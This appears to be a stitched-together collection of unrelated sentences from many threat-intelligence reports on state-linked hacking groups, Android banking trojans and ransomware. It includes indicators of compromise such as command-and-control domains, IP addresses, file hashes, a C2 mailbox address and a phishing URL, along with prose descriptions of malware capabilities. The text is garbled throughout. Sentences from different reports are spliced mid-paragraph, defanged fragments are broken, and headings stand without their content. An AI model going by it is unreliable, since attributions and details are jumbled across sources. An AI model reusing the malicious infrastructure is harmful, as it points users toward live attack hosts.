It can also access the phone ’ s cameras and microphone . More recently Turla was accused of breaching RUAG , a Swiss technology company , in a public report published by GovCERT.ch . Researchers have pointed out that it is not uncommon for China-based threat groups to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .


Suckfly 's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company 's internal network .


Based on information gained from discussion with the initial TRITON S-MAL/TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye ’s analysis published in April 2019 , described in various media .


As visible on following chart , the lifespan of many well-known rented Android bankers is usually no more than one or two years . Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America , how to reach them , and how best to trick them into getting compromised . APT38 .


After all , a working product is often more important than a stable product . The activity dates to at least 2013 and has ties to multiple reports by other researchers . Public disclosures may result in an immediate change in APT12 ’s tools . The new campaign , which we call FakeSG , also relies on hacked WordPress websites to display a custom landing page mimicking the victim 's browser .


The attackers deploy the Shamoon malware .


The conditions to build an additional payload are never met . In this campaign , Gaza Cybergang used disposable emails and domains as the phishing platform to target the victims . Initial technical information about this feature was shared by the Thyssenkrupp CERT in the form of an Nmap script that could be used to identify Winnti infections through network scanning .


We have worked with Google and they ensure that Google Play Protect proactively catches apps of this nature . Lazarus was initially known for its involvement in espionage operations and a number of high-profile disruptive attacks , including the 2014 attack on Sony Pictures that saw large amounts of information being stolen and computers wiped by malware . In April 2019 , reports emerged of an intrusion involving Winnti malware at a GermanPharmaceutical company .


Of note , this methodology of naming abstracts away the “ who ” element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .


Many of the targets we identified were well known commercial organizations located in India .


] it Catanzaro server2fi.exodus.connexxa [ . CNIIHM 's characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity . Requesting commands from the C2 server : They have used phishing emails containing inline links to malicious URLs hosting DOUBLEDRAG malware , a highly obfuscated Javascript downloader .


Check Point analyzed Yingmob ’ s Umeng account to gain further insights into the HummingBad campaign and found that beyond the 10 million devices under the control of malicious apps , Yingmob has non-malicious apps installed on another 75 million or so devices . Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs . APT33 : 64.251.19.214 [REDACTED].ddns.net . The Monti ransomware collective has restarted their operations , focusing on institutions in the legal and governmental fields .


Infection vector and victims While looking for the infection vector , we found no evidence of spear phishing or any of the other common vectors . When victims open malicious documents attached to the emails , the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering . This script in turn downloaded and executed a PowerShell backdoor known as POSHC2 , a proxy-aware C&C framework , from the C&C server ( https:// host-manager.hopto.org ) . But after being informed that Bradshaw was not subject to Canadian trademark laws , Avid Life offered to buy AshleyMadisonSucks.com for $ 10,000 .


SpyNote RAT captured the device ’ s screen activities along with audio using the MediaProjectionCallback functionality ( available with Lollipop , the Android 5.0 release , and later ) and saved the output in a file named " video.mp4 '' as shown in the following screenshot SMS stealing SpyNote RAT was also observed stealing SMS messages from the affected devices , as shown in screenshot below : Stealing contacts The ability to steal contacts is a favorite feature for spyware developers , as the stolen contacts can be used to further spread the spyware Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule . The basic principles of targeted attacks on financial institutions have not changed since 2013 when the Anunak , Corkow , Buhtrap , and Lurk groups began conducting the first attacks on Russian banks .


These encoded strings contain the new URL addresses not seen in older versions of FakeSpy . At the end of 2018 , while searching for new FIN7 campaigns via telemetry , we discovered a set of activity that we temporarily called CopyPaste” from a previously unknown APT . In May 2017 , NCC Group 's Incident Response team reacted to an ongoing incident .


The capabilities remained unchanged , but a new endpoint was added to the Trojan C2 allowing it to handle the generic card grabber overlay and specific target overlays ( banking apps ) separately . On the two other victim networks , the attackers deployed a unique version of the UPPERCUT (ANEL) backdoor , known to have only been used by APT10 . The group focuses on companies that have intellectual property or sensitive information like those in the Defense and High-Tech industries .


The main difference is that Smaps transmits data as plain text , while Asacub encrypts data with the RC4 algorithm and then encodes it into base64 format . CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both . The kit we found is in tgz format , though we have observed some samples disguised as png or jpg . Tools for phishing analysis and remediation that save security operations teams time and help find indicators of compromise across a sea of suspicious messages can also make a big difference in the fight against ransomware .


We have collected numerous samples spanning from 2016 to early 2019 . The use of infrastructure tied to Iranian operations , timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government . The RAT starts by launching three threads . Methods of manipulating control can include changes to set point values , tags , or other parameters .


TG-3390 : 208.115.242.37 .


COSMICDUKE : First known activity January 2010 , Most recent known activity Summer 2015 , Other names Tinybaron , BotgenStudios , NemesisGemina , C&C communication methods HTTP(S) , FTP , WebDav , Known toolset components Information stealer , Multiple loaders , Privilege escalation component , Multiple persistence components .


] com was a C2 for Poison Ivy samples associated with attacks on Myanmar and other Asian countries discussed in a blog published by Arbor Networks in April 2016 . The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets . APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .


This APT group usually carries out target attacks against government agencies to steal sensitive information . TG-3390 SWCs may be largely geographically independent , but the group 's most frequently used C2 registrars and IP net blocks are located in the U.S .


Moreover , we retrieved his University ID ; a quick googling showed some of his exam grades . The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 . jams481.site.bz .


For most of the OnionDuke components we observed , the first versions that we are aware of were compiled during the summer of 2013 , suggesting that this was a period of active development around this toolset .


In 2018 , Kaspersky Labs published a report that analyzed Turla threat group . To control ATMs , the group uses the Atmosphere Trojan , which is unique to Silence , or a program called xfs-disp.exe . In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and SilenceProxyBot.NET , which are described in detail in the report Silence: moving into the darkside .


CVE-2016-0034 : Microsoft Silverlight 5.1.41212.0 Vulnerability .


The NGOs targeted by BRONZE PRESIDENT conduct research on issues relevant to the PRC .


In case of both the documents ( Uri Terror Report.doc and mha-report.doc ) the malicious macro code was heavily obfuscated (used obscure variable/function names to make analysis harder ) and did not contain any auto execute functions .


In addition to the clicking activity , Judy displays a large amount of advertisements , which in some cases leave users with no option but clicking on the ad itself . Public disclosure by third-parties , including the DHS , associate ALLANITE operations with Russian strategic interests . The code waits for an incoming connection . Module ID Internal Name 1 module_ipc 2 module_monitor 3 module_apu 4 module_event 5 module_net


The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests . Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .


Even though the Dukes appear to have targeted governments all over the world , we are unaware of them ever targeting the Russian government .


Deutsche Post - Deutsche Post DHL Group , a German multinational package delivery and supply chain management company headquartered in Bonn . Insikt Group enumerated all domains reported as being used by APT33 since January 2019 . Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec , in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking , which we are calling Gorgon Group .


The official “ Golden Cup ” Facebook page . From 2016 through 2017 , two subsidiaries of U.S. and Philippine consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations . Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth.com and bevendbrec.com . irongreen.exe : 404d25e3a18bda19a238f77270837198 c064f6f047a4e39014a29c8c95526c3fe90d7bcea5ef0b8f21ea306c27713d1f , Sun Dec 18 11:04:31 2011 UTC . irongreen.text : 85aa9117c381eae3d181ab63daab335e . irongreen.rdata : 3e1c774bc4e0ffc2271075e621aa3f3d . irongreen.data : 6c389e5e301564f65dcad4811dbded8b . irongreen.rsrc : efba623cc62ffd0ccbf7f3fbf6264905 . irongreen.reloc : 6cf46599a57a6cbc5d18fbb2883620ce . The fact that this activity occurred as recently as August 2023 suggests that the group is currently active , and that those organizations that may be of interest to Budworm should be aware of this activity and the groups current toolset .


The finding , in part , shows the risk that can come in opting for less expensive smartphones , whose manufacturers may not diligently fix security vulnerabilities . Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe The attackers used identical TTPs for executing malware and Mimikatz as observed before , by using DLL sideloading with known good binaries that had DLL search order path issues . Daserf : 04080fbab754dbf0c7529f8bbe661afef9c2cba74e3797428538ed5c243d705a .


Captured legitimate user credentials when users interacted with these actor - controlled servers . we detected an ongoing campaign targeting a national data center in the Centeral Asia .


Further research of the attacker ’ s infrastructure revealed more related mimicking domains . It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns . The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .


] net , negg1.ddns [ . We believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems . In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .


Permissions The package name follows the original style name used on DenDroid . Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice . APT12 . In addition to the complexity of managing CSP rules , this vulnerability shows how widely used services such as Google Analytics can be subverted to bypass this protection .


Figure 12 : Fake Bank Austria Security application icon In addition to operating as a banking Trojan , overlaying a legitimate banking app with an indistinguishable credential theft page , the malware also asks for credit card information from the user when they open applications such as the Google Play store . The CIA has developed automated multi-platform malware attack and control systems covering Windows , Mac OS X , Solaris , Linux and more , such as EDB's HIVE and the related Cutthroat and Swindle tools , which are described in the examples section below . Deep Panda is a suspected Chinese threat group known to target many industries , including government , defense , financial , and telecommunications .


He also used his email account to log into various services in the video , which identifies him as the adware domain owner , beyond any doubt . Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) . In this analysis , we observed the return of HIDDEN COBRA 's Bankshot malware implant surfacing in the Turkish financial system .


Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base . Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .


APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases . Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .


In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day . This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .


The C2 backend url looks like this : https : //evilhost/c2folder/njs2/ ? Bookworm 's functional code is radically different from PlugX and has a rather unique modular architecture that warranted additional analysis by Unit 42 . These emails contained malicious Microsoft Word documents with the aforementioned Flash Player zero-day hidden inside an embedded ActiveX object . BADCALL communicates on ports 443 and 8000 with a FakeTLS method.[6 ] Bankshot binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.[7 ] BendyBear has used a custom RC4 and XOR encrypted protocol over port 443 for C2.[8 ]


Threat data from endpoints are combined with signals from email and data , identities , and apps in Microsoft 365 Defender ( previously Microsoft Threat Protection ) , which orchestrates detection , prevention , investigation , and response across domains , providing coordinated defense . Using information from the FireEye DTI cloud , FireEye observed that Ke3chang targeted a single firm . Double Loaded Zip File Delivers Nanocore Most malware sent via emails is packaged in archives such as ZIP, RAR, and 7z ) . How The Command are executed The malware add to the user environment variables and creates a pipe for covert communication and receiving the output .


26fef238028ee4b5b8da631c77bfb44ada3d5db8129c45dea5df6a51c9ea5f55 33a9da16d096426c82f150e39fc4f9172677885cfeaedcff10c86414e88be802 34d000ee1e36efd10eb37e2b79d69249d5a85682a61390a89a1b9391c46bf2ba 4f6146956b50ae3a6e80a1c1f771dba848ba677064eb0e166df5804ac2766898 Dragos instead focuses on threat behaviors and appropriate detection and response . URL : http://nicoledotso.icu/debby/weatherford/Vydalyty . They can target a single company , maybe with the intention of stealing trade secrets or discrediting that company .


) embedded in the executable and prepares the execution of a new layer of VM decoding . DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor . The encoded payload is additionally encrypted with AES128 and further obfuscated with XOR in an attempt to fool steganography detection tools . Once installed , the trojan could disrupt operations within systems and networks or exfiltrate confidential data .


It should be noted that until this point , even though CosmicDuke had been in active use for over 4 years , and had undergone minor modifications and updates during that time , even the most recent CosmicDuke samples would often embed persistence components that date back to 2012 .


In fact , with full access to the compromised Android smartphone , the opportunities for criminals to wreak havoc are significant – such as erasing infected phones or launching man-in-the-middle ( MITM ) attacks . The group has carried out attacks most months since December 2017 . so the callback can deobfuscate multiple control flow flattenings . Based on available information Mandiant has not been able to assess a general location that the group operates from .


] com9oo91e [ . The actors successfully compromised a host of an Saudi government institutions on January 17 , 2016 , and maintained access for at least two weeks . Overall , the combination of a relatively high number of “ Shanghai ” registrations with obviously false registration examples in other registrations suggests a partially uncoordinated domain registration campaign from 2004 until present , in which some registrants tried to fabricate non-Shanghai locations but others did not . Monitor for changes made to windows registry keys and/or values that may attempt to hide artifacts associated with their behaviors to evade detection .


It is considered to be the most advanced group of the three , and is focused on high-profile targets in the Middle East , North America , Europe and Asia .


Display a message box .


Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the trojan . In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .


Windows Credential Editor ( WCE ) — obtains passwords from memory . gsecdump — obtains passwords from memory . winrar — compresses data for Exfiltration . nbtscan — scans NetBIOS name servers .


Machine translation of this tweet reads : “ Watch out for online banking : Emotet reloads TrickBot . Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence . This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .


The use of the client application differs from many other webshells that the actor would interact with in a browser window .


During these intrusions , LEAD ’s objective was to steal sensitive data , including research materials , process documents , and project plans .


The communication with the server is a handshake using an encryption algorithm ( Camellia ) .


Most mobile malware is designed to steal users ’ money , including SMS-Trojans , and lots of backdoors and Trojans . Emissary Panda has used many ways with the most notable being the exploits from the Hacking Team leak . In addition to the two compromised universities , thanks to the C&C URL format used by the attackers we have reasons to think that at least three additional Hong Kong universities may have been compromised using these same ShadowPad and Winnti variants . Further , NIST does not endorse any commercial products that may be mentioned on these sites .


The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage . In 2015 , the SecureWorks documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU analysis suggests is based in the People's Republic of China ( PRC ) .


The full list of banking applications targeted is included in the appendix . Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 . At a high level , Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound .


This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent . A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005 .


Exodus is equipped with extensive collection and interception capabilities . In August 2017 , we found this threat group has developed yet another Trojan that they call ' Agent Injector ' with the specific purpose of installing the ISMAgent backdoor . These commands can be issued to a specific victim based on the UID generated on each target ( by using the disk serial and contextual information such as the hostname , the antivirus and the OS ) or to all of them . One explanation for this could be that that they used the region as a test zone ; another would be that the threat actor runs the operation from those locations , although it could also be a false flag meant to point the researchers on the wrong path .


The malware , dubbed “ Judy ” , is an auto-clicking adware which was found on 41 apps developed by a Korean company . Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China . If the target filename is incorrect or invalid the plugin file is deleted and the registry value is erased . First , the discovery of new OT malware presents an immediate threat to affected organizations , since these discoveries are rare and because the malware principally takes advantage of insecure by design features of OT environments that are unlikely to be remedied any time soon .


During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals . Similar to our approach with Symantec 's report on Hidden Lynx , we used Recorded Future to organize the technical details about the DeputyDog attacks to reveal technical information described in the open source reporting across multiple campaigns .


SPLM 64-bit modules already appeared to be at version 4 of the software by May of the year .


Usually they would upload a clean version back on Google Play the very same day . US targets emerged in September 2017 with a small , targeted phishing campaign directed at select U.S. electric companies . In the ProCC campaigns , the downloaded files are Delphi binaries . Adversaries may manipulate physical process control within the industrial environment .


The second artifact – identified across this report as Artifact #2 – -has the following attributes :


Heaven ’ s gate is still in use in 2017 Stage 2 : A second multi-platform virtual machine The 64-bit stage 2 malware implements another loader combined with another virtual machine . The HTA files contained job descriptions and links to job postings on popular employment websites . One of the payloads we encountered was encoded inside an image of Kaito Kuroba1 , the gentleman thief character from a popular Japanese manga series . Exploitation of CVE-2023 - 4966 will not crash the NSPPE process and generate memory core dump files .


For example , the US ( with around 303k infections ) , Saudi Arabia ( 245k ) , Australia ( 141k ) and the UK ( 137k ) . Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others . In addition , the contents of each Loader DLL E-TOOL differs from package to package , as does the encrypted data included in the ZIP file . This second , partially obfuscated web shell , named iisstart.aspx ( MD5 : 0fd9bffa49c76ee12e51e3b8ae0609ac ) , was more advanced and contained functions to interact with the file system .


Parts of the PUTTER PANDA toolset and tradecraft have been previously documented , both by CrowdStrike , and in open source , where they are referred to as the MSUpdater group . In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples .


In case of mha-report.doc the malicious activity triggered only when the show document button was clicked , when this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function ( Bulbaknopka() ) .


Seeing that the developer did not take any measures to protect his identity , it seems likely that his intentions weren ’ t dishonest at first – and this is also supported by the fact that not all his published apps contained unwanted ads . DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category . Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .


Once the victim presses the Enable content button , the embedded macro is executed .


The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 . Skipper , which has been linked to Turla in the past , was found alongside Gazer in most cases we investigated .


MCI is Saudi Arabia ’s Ministry of Commerce and Investment .


The second notable cluster comprises of two campaigns that were possibly aimed at gathering information on Georgia S-LOC-NATO relations .


sendAll function used to spread malicious messages to the contact list . We also observed the actors uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before . Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .


However , GPP does not treat new apps and updates any differently from an analysis perspective . According to a 49-page report published Thursday , all of the attacks are the work of Chinese government 's intelligence apparatus , which the report 's authors dub the Winnti Umbrella . Keylogging , ZXARPS ( IP and URL spoofing ) , and SYNFlood are some of the interesting features added to version 3.2 . The content of the form is legitimate and targets Ukrainian government organizations , as seen in the image below .


Once it has been installed , it requests permissions from the user so that it can steal sensitive data , manipulate SMS messages , and potentially infect contacts of the user . The main payload is usually Imminent Monitor RAT; however , at the beginning of 2018 , we also observed the use of LuminosityLink RAT , NetWire RAT , and NjRAT . both attributed to Chinese government affiliated groups .


The iOS versions were available outside the app store , through phishing sites , and abused the Apple Developer Enterprise program . This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies . Depending on each sample , the content of document is either a fake resume application , or a letter from the Ministry of Justice in Lebanon or Saudi Arabia .


Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection . Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .


The Base64-encoded data is inserted into the following json object , which contains the individual names .


Recent campaigns see APT28 group return to covert intelligence gathering operations in Europe and South America .


Cannon Hashes :


] com svc [ . They are often targeted simultaneously with other ethnic minorities and religious groups in China . FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization involved in shaping economic policy . The source code is loaded from one of several domains impersonating Google ( google - analytiks[.]com ) or Adobe ( updateadobeflash[.]website ): That code contains all the web elements ( images , fonts , text ) needed to render the fake browser update page .


For Android 4.4.4 and older , the Trojan will patch method _Z30dvmHeapSourceStartupBeforeForkv from libdvm.so , and for Android 5 and newer it will patch method nativeForkAndSpecialize from libandroid_runtime.so . Desert Falcons is keenly aware of the information they can derive from these devices and are using multi-stage ( phishing + an executable ) , multi-platform ( Android + desktop ) attacks to accomplish their spying . While there is a marked interest in Brazilian victims , our telemetry shows that their reach has extended to other countries in Latin America and beyond . Since the original announcement , we have observed several new attacks using the same exploit ( CVE-2013 - 0640 ) which drop other malware .


Cannon logs into the trala.cosh2@post.cz account via POP3S looking for emails with a subject that matches the unique system identifier .


Furthermore , APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide . In the past , Scarlet Mimic has primarily targeted individuals who belong to these minority groups as well as their supporters , but we've recently found evidence to indicate the group also targets individuals working inside government anti-terrorist organizations .


The permissions on the first version of the malware lay out the foundations of a spying trojan . Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block : a hostname and an IP address . While the malware used in the attacks were not very complicated by nature , these proved very effective . A possible solution would come from adaptive URLs , adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts .


Figure 3 below shows a diff with the LuckyStrike macro on the left and Sofacy macro on the right , where everything except the file path and randomly generated values in the macro are exactly the same , including the obfuscation attempts that use concatenation to build strings .


In the case of this spyware , search for app named TikTok Pro . The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors . Kimsuky is a North Korean based threat group that has been active since at least September 2013 .


The extraction method is the same , but the encryption algorithm ( also XOR ) is much simpler . In July 2017 , FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER , which includes a domain generation algorithm ( DGA ) for command and control . The alpha channel byte remains unchanged . In particular , we managed to gather details on an individual using the handle Hack520 , who we believe is connected to Winnti .


] com md5c [ . APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance . Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years .


The actor sends an email to trala.cosh2@post.cz with the unique system identifier as a subject with a file path that the Cannon Trojan will use to save the secondary payload .


CTU researchers discovered evidence that the threat actors were not only leveraging the company 's remote access infrastructure , but were also using the company 's endpoint management platform , Altiris , to move laterally through the network .


Adding connections to FakeSpy We have been seeing activity from XLoader since 2018 , and have since followed up our initial findings with a detailed research revealing a wealth of activity dating back to as early as January 2015 , which outlined a major discovery—its connection to FakeSpy . The APT18 then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system . Ping mode will also be set if exceptions occur more than three times during text . It is accessed using a path confusion exploit , CVE-2022 - 41040 , allowing the attacker to reach the backend for arbitrary URLs .


This fake notification tactic is used to redirect the user 's attention , meanwhile the app hides itself , making the user believe the app to be faulty . We can observe that the sample is very recent , created on Thursday , July 4 . The decoded configuration is similar in structure to the version Kaspersky classifies as Winnti 2.0, as well as samples in the 2015 Novetta report .


BLOCKER_EXTORTIONIST_START – display HTML page of the ransomware . This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) . Furthermore , the Leafminer arsenal server hosted a Python script to scan for this vulnerability .


From our analysis of the TrickMo mobile malware , it is apparent that TrickMo is designed to break the newest methods of OTP and , specifically , TAN codes often used in Germany . We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell . In the January 16 , 2018 attack , we observed OilRig attacking an organization it previously targeted in January 2017 .


Also , when an SMS arrives , the Trojan puts the phone into silent mode and switches off the screen so the user doesn ’ t notice that a new SMS has arrived . Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system . Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus .


By integrating the findings with prior research , it was possible to connect MONSOON directly with infrastructure used by the HANGOVER group via a series of strong connections . In late September 2015 Mofang used the website of Myanmara 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .


Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org . The presence of code to exfiltrate data to removable drives when there is physical access to a compromised computer may indicate that Machete operators could have a presence in one of the targeted countries , although we cannot be certain . During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .


Manufacturers should be keeping close tabs on what software ends up on their devices . Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , EQNEDT32.exe , scores high for potentially malicious activity . C2 : log.gokickes.com .


Since the initial appearance of Operation AppleJeus , we can see that over time the authors have changed their modus operandi considerably .


While the report appears to contain numerous inaccuracies , some of the indicators of compromises are legitimate and appear to be correctly attributed to Sofacy .


We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems . The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .


Unfortunately , we can’t get all the related files as some payloads were only executed in memory .


Researchers from the IBM X-Force Incident Response and Intelligence Services ( IRIS ) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware attacks against Gulf state organizations .


In the image below , we see a log TrickMo sent to the attacker upon becoming the default SMS app . The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information , occasionally focusing on personal information on executives . In this case , the attackers maintained a presence on the target 's network for nearly six months between September 2016 and March 2017 .


For example , we found a piece of a particularly sophisticated Android ransomware with novel techniques and behavior , exemplifying the rapid evolution of mobile threats that we have also observed on other platforms . One interesting note about the criminal activity of Gorgon Group is their usage of Bitly . . The differences between commercial spyware and digital extortion attacks You may have received an email something like , “ We know you ’ve visited this adult website .


RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders . We believe that it is likely threat actors will continue development Bookworm , and will continue to use it for the foreseeable future .


Therefore , “ Agent Smith ” decompiles both the original application and the malicious payload and fuses them together . It is thus interesting to see Buhtrap add strategic web compromises to their arsenal . This is the first of several instances of Dexphot employing living-off-the-land techniques , the use of legitimate system processes for nefarious purposes . Now , there is a potential new competitor in the " fake updates " landscape that looks strangely familiar .


APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia . The Infy group also appears to engage in espionage activities against foreign governments and businesses .


Zen 's rooting trojan apps target a specific device model with a very specific system image . In this case , it was a group commonly referred to as " Nitro " , which was coined by Symantec in its 2011 whitepaper . They sent spear phishing messages with the subject “ 2015 Taiwan Security and Cultural Forum Invitation Form ” , and used a different tool – a tool that we refer to as DOORJAMB – in their attempt to compromise the organization . Talos Takes Ep .


But our researchers have predicted that these small Trojans would certainly be used to download some really bad malware that can actually harm the owners of the infected devices . In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan . In recent OilRig attacks , the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks .


They have also been seen using Heartbleed vulnerability in order to directly get valid credentials . MoneyTaker has primarily been targeting card processing systems , including the AWS CBR ( Russian Interbank System ) and purportedly SWIFT ( US ) .


BrainTest leverages an anti-uninstall watchdog that uses two system applications to monitor the removal of one of the components and reinstall the component . Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) . Once executed , tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest .


and addressed to Yahya Al-Sinwar , who Hamas elected as its leader in Gaza in February 2017 .


According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability . In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .


) Technical Analysis App Name : TikTok Pro Hash : 9fed52ee7312e217bd10d6a156c8b988 Package Name : com.example.dat.a8andoserverx Upon installation , the spyware portrays itself as TikTok using the name TikTok Pro . Gamaredon Group infects victims using malicious attachments , delivered via spear phishing techniques . Winnti Linux variant ’s core functionality is within ‘ libxselinux ’ .


This process is defined in the app ’ s AndroidManifest.xml config file , as shown in the following snippet . This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong . Our visibility into the operations of APT28 - a group we believe the Russian government sponsors - has given us insight into some of the government 's targets , as well as its objectives and the activities designed to further them .


Recognizing the significance of this threat group , Unit 42 continues to track the evolution of Nigerian cybercrime under the code name SilverTerrier . It's possible TG-3390 used a waterhole to infect data center employees .


The mediaserver will first builds a new unique track , start to play the track , loop play all audio buffer , then finally stop the playback . Without any insight into the evidence Kaspersky has obtained , we can only repeat our view that Anunak has targeted only banks in Russia and we have no concrete reports of compromised banks outside of Russia directly related to this criminal group . As an example in the following obfuscated function , Ready to learn more about Malwarebytes for Business ?


